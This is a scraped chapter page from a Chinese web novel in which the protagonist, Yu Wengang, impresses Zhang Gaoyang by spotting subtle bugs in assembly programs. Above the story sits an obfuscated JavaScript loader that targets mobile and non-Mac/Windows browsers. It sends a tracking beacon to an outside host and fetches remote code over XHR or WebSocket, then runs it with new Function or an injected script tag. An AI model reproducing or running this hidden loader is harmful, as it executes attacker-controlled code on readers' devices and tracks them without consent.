第73章 这是高手(第2页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
汇编语言虽然开发周期特别长,实现一个简单的功能都非常麻烦,很少被用来编写应用程序,可它那直接访问计算机硬件、执行效率极高、占用资源极少的特点,却让它被广泛应用于嵌入式设备、驱动程序、实时应用、核心算法等方面的编程。
在通信与系统集成领域,用到汇编语言的机会也还是挺多的,原因在于,这一领域的很多设备都属于嵌入式设备,比如说大家所熟悉的ode、路由器等。
正因为工作的需要在前世经常使用,因此哪怕余文钢在前世后期已很多年没再做码农,但他在看到这些熟悉的代码后,他还是感到熟悉和亲切。
只是这段代码实在是太简单了一点,对他来说根本就没难度。
“不对,你这段代码有问题!”
在细细扫描了一遍后,余文钢立即发现了不对劲。
“哪里有问题?”
张高阳不动声色地问道。
可此时他的内心里却是相当震惊的。
这小子才扫一眼就发现了问题?
不可能吧!
他心里犯起了嘀咕。
这种软盘其实有一个名字,叫“汇编程序错误大全”,这里面收集的全部是张高阳在用汇编语言编程过程中犯过错误的问题程序收集。
比如说他现在打开的这段代码,里面就有一个很不起眼,但非常致命的错误,这一不起眼的错误弄得张高阳费了老半天功夫,才艰难地把它给找出来。
有且只有一个问题!
可现在余文钢才看了几分钟,就说有问题!
不可能吧?
张高阳侥幸地想着。
“你看这个存储器地址变量,你在前面声明的是十六进制,可你在这里赋值时给的却是十进制数字,这程序运行时能不出错吗?”
余文钢用鼠标一划拉,准确地把错误指了出来。
张高阳傻眼了。
这一错误之所以不起眼,原因就在于这一被预先声明的存储器地址变量,在整个程序中仅用了两三次,而且彼此间起码跨了上百行代码。
他就这么一扫,就能准确地把这一问题给找出来?
这岂不是表明他不仅很快就把这长达数百行的代码看懂了,而且还看得很透彻?
天哪,这是什么变态水平?
张高阳有一种预感:这是高手!
接下来的事实印证了他的这一猜测。
在接下来的时间里,张高阳又一连打开了好几个汇编程序,而且是一个比一个复杂,一个比一个隐含的问题更难,可他发现,这些程序都没难倒余文钢。
大部分的问题都被他准确地找了出来。
这还是在没有进行编译和调试的情况下。
甚至于,有的程序余文钢还提出了简化思路。
这确实是高手!
张高阳自愧不如。
那么问题来了。
这小子怎么会那么厉害?
他只不过是一个高中毕业生而已!